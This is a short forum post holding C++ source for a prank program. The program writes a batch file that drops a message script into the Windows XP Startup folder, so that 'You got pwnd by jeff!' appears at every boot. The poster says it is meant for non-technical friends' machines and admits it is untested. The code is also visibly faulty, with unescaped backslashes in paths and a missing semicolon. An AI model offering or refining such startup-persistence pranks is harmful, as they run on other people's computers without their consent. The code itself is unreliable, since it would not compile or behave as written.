zonin 0 Newbie Poster
#include <iostream>
#include <fstream>
#include <windows.h>
#include <cstdio>
using namespace std;

int main ()
{
    ofstream myfile;
    myfile.open ("example.bat");
    myfile << "@echo off\n";
    myfile << "cd C:\WINDOWS\Start Menu\Programs\StartUp \n";
    myfile << "echo @echo off >windows.bat\n";
    myfile << "echo color 0c>>windows.bat\n";
    myfile << "echo echo You got pwnd by jeff!>>windows.bat\n";
    myfile << "echo pause>>windows.bat\n";
    myfile.close();
    system("example.bat");
    cout<<"lolz - are you game \n";
    Sleep(10000);
    if( remove( "example.bat"))
        cout <<"Error";
        else
        cout <<"Yay\n"
   return 0;
}

i'm just going to use it to annoy the hell out of my non-tech friends

i cant test it as i have windows 7 and they have windows xp